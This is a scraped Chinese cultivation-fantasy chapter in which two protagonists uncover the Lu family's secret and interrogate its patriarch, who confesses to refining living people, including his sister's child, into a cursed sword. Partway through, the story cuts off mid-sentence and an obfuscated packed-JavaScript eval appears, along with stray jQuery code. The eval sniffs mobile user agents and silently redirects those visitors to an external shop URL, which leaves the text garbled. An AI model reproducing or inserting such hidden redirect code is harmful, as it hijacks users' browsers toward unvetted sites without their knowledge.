文趣网 > 其他小说 > 宿敌竟是早亡的道侣 > 13. 姜道友同情他?
    剑有煞气。煞气越强,凶性越重,乃至反噬剑主、吞噬人魂。一旦出世,所过之处必将生灵涂炭,尸横遍野。

    千年之前,三大凶剑之首的癔鬼现世,西洪波州被屠戮一空。

    当时的明元境境主柳玄静率各宗精锐弟子,与其大战十天十夜,方才将其封印。

    这一战,整个修仙界元气大伤,柳玄静也在封印癔鬼后陨落。作为战场的西洪波州被凶剑的煞气影响,至今寸草不生。

    姜瑶光站在剑丛中,缓缓道:“剑的习性不同,剑煞的影响也不同。但这种鬼脸状印记,的确是被剑煞侵蚀才会出现的。”

    商悬秀若有所思:“如果我没记错的话,那些触手上也有这些印记。”

    姜瑶光点点头:“凶剑多半就是那把太初。这百年来它不断放出煞气,周围生物若被影响,就有可能产生异变。那些触手大概就是这么来的。”

    除了触手,那些赪尾同样具有无法杀死的特性,恐怕也受了影响。

    想到此处,姜瑶光心头泛起阴翳。

    现在最好的选择,当然是快些离开此处,而后召集人手将这一带重新封锁。

    可是,现在凶剑还未现世,是解决它的最好时机。错过了这个机会,一旦凶剑出世,就要拿更多性命去填。

    事到如今,天工岛一事涉及的已不止是她的私怨。

    姜瑶光视线从那一丛丛杂草一般肆意生长的锈剑上划过,目光微凝:“地面上有血。有人刚从这里经过。”

    那几滴血珠落在昏暗处,隐蔽地蜿蜒向前,若不仔细观察,很难注意得到。

    商悬秀挑眉:“是那个人?”

    这天工岛中,除了他们两个,似乎也只有那个引两人进入暗道,又设下埋伏袭击两人的家伙存在了。

    姜瑶光道:“那人对暗道结构熟悉,还能操纵赪尾,必定和陆家有关联。我们跟过去,看看他到底要做什么。”

    商悬秀没有异议。

    两人沿着地面上隐秘的血渍,一路向前。血迹向着暗处延伸,渐渐隐入一间房间之中。

    姜瑶光顿住脚步,和商悬秀对视一眼,缓缓伸手推开房门。

    房间的门虚掩着。轻轻一推,门就开了,露出房内的摆设。

    房间很大,内部摆放着博古架、花瓶、矮榻、屏风等各式风雅家具,看上去不像炼器房,倒像是谁的卧房。

    商悬秀捻起花瓶里早已枯败的花。

    捏着花茎,指腹一转,干枯的花瓣坠落,纷纷扬扬洒了一地。

    有一瓣枯叶落到姜瑶光发上。他自然而然地抬起手,摘去她发间的枯叶,捏在指尖把玩。

    姜瑶光回头看了看他,又转过身,朝着屏风后走去。

    屏风是石青色的,上面用金紫二色的灵蛛丝线,细细绣着瑰丽山川,粗略一看,就知其价值不菲。

    绕过屏风,后面是一张紫檀书桌,书桌旁是一个箱匣。打开箱匣,淡淡的香气扑面而来。

    箱匣里面放着几卷摆放整齐的画轴,底层则是一个长方形的小盒子,可能是用来收纳信件的。

    姜瑶光展开画卷,还未来得及看,商悬秀的声音从绣屏的一侧传来。

    “你找到了什么?”

    他一边说着,一边走到姜瑶光身后,探头朝着她手中望去。

    当看清姜瑶光手中展开的画卷时,他瞳孔微缩,不经意朝后退了一步。

    画上画着的,是一个容貌清丽、怀抱古琴的女人。她微微蹙着眉,骑在一匹白马上,凝神望着岸边盛开的杏花,神态忧郁。

    姜瑶光视线下移,落到画卷角落的题名上。

    《赠清平于小杏潭》

    “载玄九十一年暮春,携妹清平并辔同游小杏潭,清平抚琴,余折花以赠。策马同行,尽日忘归,遂作此图以记。”

    姜瑶光抬手抚过画卷角落的印文:“是陆家家主陆彦章的私印。”

    说过之后,却没等到商悬秀的回答。姜瑶光回首看他,正欲询问,商悬秀已伸长手臂,抽走了她手中的画卷。

    他语气平平:“是他的私印没错。”

    姜瑶光又展开其他画卷,发现所有画卷里画着的,都是同一个人,场景倒是多样。

    有坐在廊下看雨的,有泛舟江上的,有坐在镜前梳妆的。

    每一幅画,都十分精细地刻画了陆清平的相貌和神态,她的一颦一笑、每一点儿微小的神情变化,都被记录在了画卷中。

    因画得太精细,反倒让人毛骨悚然。

    姜瑶光打量着画中人的相貌,只觉得似乎有些眼熟。但她从未见过陆清平,也不知这种熟悉感从何而来。

    商悬秀打断她的思绪:“她名声不显,不是很厉害的修士,应该和太初的事没关系。”

    姜瑶光点点头,将画卷放回原处,又抽出底层那个长方形的小盒子。

    打开盒盖,里面游出一条指节大小、红纸折成的小鱼。

    “鱼?”

    看到鱼,姜瑶光瞬间想到了恃玉。

    她用双指捏着纸鱼,审视地上下扫视着,发现这只纸鱼上用血画了简易的留音阵。留音阵上仍有灵力残留,说明里面还记录着一段声音。

    姜瑶光指尖泛起灵光:“我注入灵力了。”

    商悬秀应道:“嗯。”

    几乎在他应声的同时,留音阵被灵力激活,响起阵阵杂音。刺耳的杂音中,断断续续掺杂着女子虚弱的说话声。

    因那话音太虚弱,加上留音阵磨损严重,有些地方已听不清。

    “兄长……我是清平,你拿到我口信的时候……陨落。当初我无法面对……舍弃一切逃离……辜负了你……这大概就是报应……我不敢祈求……只希望你看在我们过往的情意上……照顾这个孩子……求你……”

    声音渐渐虚弱,最终戛然而止。

    留音阵从前已被反复听过很多遍,仅留着一丁点灵力。

    现在灵力终于耗尽,纸鱼自焚成灰。烟白色的纸灰,从姜瑶光的指尖落到地板上。

    寂静的房间,宛如一座方方正正的坟墓。

    姜瑶光眸光微动,将刚刚听到的信息整合在一起。

    尽管留音阵里的消息模糊,但她仍从简短的琐碎的信息中,推断出了事情的来龙去脉。

    陆清平因某种“无法面对”的事,私自逃离了陆家,又意外陨落。陨落前夕,她用最后的力气给兄长陆彦章留下口信,请求陆彦章照顾她的孩子。

    至于这个孩子是谁……

    姜瑶光目光暗了暗。

    那条纸鱼的折叠手法,带着恃玉特有的痕迹。

    只有这一点,她绝不会认错。

    不过,按她目前掌握的信息来看,陆家灭门也有恃玉一份功劳。

    也许陆彦章并没有像陆清平期望的那样,好好照顾妹妹仅剩的血脉。

    姜瑶光合上箱匣,正欲叫商悬秀离开,视线一扫,却瞥见他颈上青筋像是抽泣似的,疾速抽动一下。

    她心中生疑,余光扫向商悬秀。他低垂着眉眼,纤长的眼睫也跟着垂下来,轻盈地颤了颤。

    几息后,他倏地抬起头,对她展颜一笑。

    那笑容实在好看。可出现在这里,实在有些不合时宜。

    姜瑶光道:“你在笑吗?”

    商悬秀道:“抱歉姜道友,我只是突然想到了好笑的事。”

    他的声音中,果真带着几丝隐约的笑意。

    好笑的事……

    姜瑶光放下手,抖落指尖最后一点灰烬:“这里没什么有用的信息了,我们先离开吧。”

    商悬秀顺势与她并肩:“那么,那个藏头露尾的家伙又躲到哪里去了呢?”说话时,他的视线状似不经意地,从华丽的屏风上飞速掠过。

    姜瑶光思索几息,没有回答这个问题,反而道:“关于那个人的身份,我倒是有个猜测。”

    商悬秀:“哦?”

    他侧眸望着姜瑶光清丽的侧脸,等待着她的回应。

    而姜瑶光并没有说话。

    她眉心微沉,一手抚上剑柄,目光忽地转动,剑芒倏然一闪!

    眨眼间,她剑已出鞘,寒光似一条银龙,以迅雷不及掩耳之势飞出。

    满地锈剑被她剑气所慑,忍不住震动嗡鸣起来。锵然剑鸣声中,银光陡然朝着屏风所在之处飞落。

    锵!!

    银光撞在屏风上,瞬间将昂贵的绣屏撕裂。一道人影猛地从屏风中飞出,后背重重撞击在墙壁上。

    那道剑光却如附骨之疽,悄然而至,狠狠贯穿他的身体,将他钉在墙上。

    刹那间,鲜血涌流。

    那人奋力挣扎着。只是姜瑶光的剑看似很薄、很窄,却仿佛有千钧之重,无论他如何挣扎,都无法从这剑下逃脱。

    姜瑶光绕过撕裂的屏风,走到他面前,垂眸看着他:“你刚刚,是想偷袭我们?”

    商悬秀则是把双手拢在袖中,微微歪头,好整以暇地看着这出好戏。

    那屏风上有个法阵,他一进来就发现了。只是姜瑶光没戳破,他也就不出手喽。

    听到姜瑶光的声音,被钉在墙上的人颓然抬起头,露出一张苍老的脸。

    那脸上伤痕交错,像是利器划出来的,配上他深深凹陷、满是红丝的双眼,更显得他阴沉似鬼。

    他好像没有听到姜瑶光的询问一般,视线沉沉扫过二人,停留在商悬秀的脸上:“李澄的儿子。”

    李澄,就是李家的家主。

    商悬秀懒散地掀开眼皮,意味不明地“哦?”了一声,又垂下眼帘。

    姜瑶光则是借机端详着他的脸。

    那张脸上满是伤疤,早已看不出丝毫的意气风发,若不仔细看,几乎很难从满脸沟壑中分辨出他的身份。

    但姜瑶光还是认出了他:“陆家主。”

    面前这个身形消瘦、容貌尽毁的男人,正是陆家最后一任家主陆彦章。

    陆彦章扫了她一眼:“小辈,你认识我?”

    许是不想让人看轻,尽管模样狼狈,但他仍抬着头,一副傲然模样。

    姜瑶光语调平静:“陆家主当年也是东洪波州的风云人物,我怎么会不认识?只是不知道,关于炼煞这件事,陆家主有没有什么看法?”

    陆彦章冷哼一声:“小辈,你这是在审问我吗?你有什么资格审问我!”

    他的目光转动,看向商悬秀。

    显然,他认为比起姜瑶光这个“无名之辈”,同为东洪波州望族的李家的少主对他更有威胁。

    “哼,是李澄那个鼠辈派你们来的?他果然贼心不死!”

    商悬秀只是微微一笑,不置可否。

    姜瑶光见多了这种油盐不进的执拗家伙,也不在意他的无视,只是慢慢地说出自己推断出的真相。

    “你不开口我也知道。陆氏之所以设下水蛇牢,就是为了收集受刑者的怨煞之气,想借此炼出癔鬼一样的凶剑。”

    越向下说,语气越冷。

    以人炼煞,与邪道无异,见识过水蛇刑的狠毒,姜瑶光很难对陆彦章这种人轻声细语。

    “你应该知道,以人炼术,是修士十恶行中的首恶,一旦被发现,整个陆氏都会为世不容。”

    陆彦章被她戳破,沉默半晌,冷冷嗤笑道:“知道又如何?”

    姜瑶光皱眉。商悬秀垂眸不语。

    陆彦章咬牙道:“那些旁支,一无才干,二无能事,终其一生庸庸碌碌,靠着家族的大树才勉强苟活,却不曾为家族做什么。如今让这些庸人为家族献身,也不算埋没了他们!”

    他盯着姜瑶光,深深陷下去的双眼因充血而变得通红。

    “哈哈,为世不容?为世不容又能怎么样!我们能炼出一把太初,就能炼出第二把太初!到时候凶剑在手,他们容不下我们又如何?”

    商悬秀嗤笑一声,竖起一根手指摇了摇,轻飘飘道:“可现实就是,你们没成功。不仅没成功,还把整个家族都搭了进去。”

    他这话毫不留情地刺破了陆彦章的幻想,将他拽回到血淋淋的失败现实中。

    陆彦章被他刺激,高声反驳:“没有失败!我们没有失败!都是那个小畜生,那个该死的小畜生,如果没有他——如果我早点杀了他,我们不会失败!都是他,是他毁了陆家。是他!是他!”

    他失去理智,奋力挣扎起来。被姜瑶光长剑刺中的地方流出更多鲜血,将一小块地面染得血红。

    姜瑶光道:“他疯了。”

    即使陆彦章不说,她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836898|211471||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也大概明白陆家为什么孤注一掷,走上以人炼煞这条绝路。

    天工岛灭门案后,明元境调查了与陆氏有往来的修士和家族,发现那时候的陆氏就已经亏空得厉害。

    那段时间,东洪波州一带有两个中型炼器家族崛起,和陆氏摩擦不断。

    偏偏陆家几个被寄予众望的天才意外死在妖兽口中,又有两个长老寿尽陨落,陆氏青黄不接。

    尽管陆彦章做了一切能做的,却无法挽救陆氏的颓势。

    也许就在这样的重压之下,他选择铤而走险,用整个家族的全部,去赌一把太初。

    姜瑶光很理解当时陆彦章承受的压力。但无论如何,这都不是他用阴毒术法残害性命的理由。

    她看着失去理智的陆彦章。陆彦章此时还在不断叫着“都怪他”,却始终没有说出那个人的名字。

    姜瑶光眉头动了动,半蹲下身,与他平视。

    “他是谁?”

    意料之中,没有回答。

    姜瑶光本也没指望他回答什么,只是在短暂的停顿后,继续说下去。

    “他是你妹妹的孩子。”

    陆彦章腮部抽动一下。他好像突然从那种癫狂的状态中抽离了出来,冷冷看着姜瑶光。

    “他不是清平的孩子,不是!清平怎么可能背叛我,和别人生下野种?他不是!那个小畜生不是,他不配!”

    尽管他近乎激进地否定了姜瑶光的猜测,但姜瑶光仍从他的表现中得到了答案。

    她无心与陆彦章争论那孩子到底是不是陆清平的子嗣,语气平平地向下说。

    “陆清平把他托付给你,但你恨陆清平,也恨她的孩子。”

    说到此处,姜瑶光停顿了一瞬。

    目前得到的线索中,并没有提到陆清平的孩子如何了。但从陆彦章这厌恶的态度来看,他定不会好好照顾他。

    再考虑到陆氏做的这些阴毒勾当,一个猜测浮现在她心头。

    “你拿他炼煞了。”

    陆彦章放声大笑。这次,他没有否认。

    “不错!当时我们刚研究出炼煞之法,正缺个煞人实验,就拿他来试了。总归他是个灵根驳杂的废物,半点不像清平,能派上用场也好。”

    他恨恨咬牙。

    “只恨那小畜生,死了也不肯安宁……在太初出世的关头,也不知道做了什么手脚,竟然控制了它,利用他屠戮我陆家人。该死的野种,若我早知道他会如此,就该、就该……”

    他恨得说不出话来。

    姜瑶光若有所思。

    凶剑出世,剑煞会摄取人魂。天工岛虽被分为阴阳两个,但如果剑煞过强,也会穿过结界,即使身在阳天工,也难逃一死。

    所以阳天工没有打斗痕迹,死者身上也没有伤口。所有的线索和痕迹,都藏在了阴天工。

    至此,事情的来龙去脉她了解了个大概,大部分的疑惑也已解开。她如今最在意的,只剩下了一个问题。

    姜瑶光道:“你妹妹的孩子,叫什么名字?”

    陆彦章闻言,抚掌大笑:“叫什么?一个小畜生,需要什么名字?他只需要知道他是个野种、废物就行了!”

    姜瑶光紧皱眉头,显然并不喜欢陆彦章这种侮辱人的态度。

    商悬秀坐在茶桌上,随手拿起一个精巧的茶杯把玩着。

    审问的过程中,他一言不发,甚至不曾正眼看陆彦章,似乎对千万具塔发生的惨案漠不关心。

    唯有瞥到姜瑶光眉宇间的不快时,他怔了怔,将茶杯放回原处,饶有兴趣地问道:

    “姜道友生气了?”

    姜瑶光敛去不悦神色:“他这样轻贱他人,藐视人命,实非正道所为。”

    商悬秀道:“可是,若他所说为实,那个野种恐已堕入魔道,成了人人得而诛之的魔头了。姜道友身为正道,难道还同情这种人不成?”

    他刻意咬重了“正道”这两个字,似是在提醒她她的身份。

    姜瑶光掀开眼帘,看了她一眼,正欲说些什么,目光忽地锐利起来。

    几乎是同时,原本插在陆彦章胸口的剑好像被某种力量排斥,倏地倒飞出来,朝着她所在的方向狠狠撞。

    原本被长剑钉住的陆彦章得了自由,面色一喜,也顾不上身上的伤。

    趁着长剑脱离,他一个翻身,全身灵力毫无保留地呼啸而出。

    虽然他的根基已毁,又被囚禁在阴天工百年,实力不进反退,但毕竟是一族之长,灵力丰沛程度仍远超普通修士。

    灵力凝成一条水龙,猛然朝着姜瑶光两人撞击而来,巨量灵力冲击得整个房间寸寸崩毁。

    姜瑶光抬手接住突然失控的长剑。长剑仍不安地震颤着,像是感知到了什么异常。

    余光瞧见水龙疾速接近,姜瑶光无暇多想,攥住剑柄反手挥剑,璀璨的剑气迸射而出,闪电般朝水龙斩去。

    轰!!

    两股灵力相撞,发出一阵又一阵的震鸣,大量灵光逸散,将本有些昏暗的房间照得亮如白昼。

    价值不菲的家具陈设被灵力卷入,顷刻间化为粉尘,随风飘散,连地板也受了冲击,崩坏出一个巨洞。

    那呼啸而来的水龙正撞上她的剑气,蓄力抵挡几息,终是不敌,被锐利剑光斩成两半,化作一滩清水。

    只是,灵力冲撞所产生的震动却不停息。

    廊中的锈剑被她的剑气鼓动,也跟着疯狂地嘶鸣,蠢蠢欲动。所有剑鸣声纠结在一处,发出海浪般的啸音。

    整座高塔被这啸音晃动,如同被打开了什么开关。墙壁、地板,一寸寸扭曲、崩毁,又在刹那之间重组、变动,如同一块块积木。

    地势变动,墙壁重组,挡住所有人的身影。抬起头,只能看到刺眼的白光。

    姜瑶光拧起眉头,瞥见自己和商悬秀之间多出一道厚厚的墙壁,抬剑就要将其斩断。

    可刚一抬手,剑鸣声陡然消失不见。须臾间,白光也彻底消散。

    整座高塔都安静下来,竟如一座坟墓。

    姜瑶光环顾四周,发现自己已不在剑廊,而是站在了一个空荡荡的房间中。

    房间里除了她再无旁人。

    陆彦章和“李逄夜”,都消失在了一片死寂之中。